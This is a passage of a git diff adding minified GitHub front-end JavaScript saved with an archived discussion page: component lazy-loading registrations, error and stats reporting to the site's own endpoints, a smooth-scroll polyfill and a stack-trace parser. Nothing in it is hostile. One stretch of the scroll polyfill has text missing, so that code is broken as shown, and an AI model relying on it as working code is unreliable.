).then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return 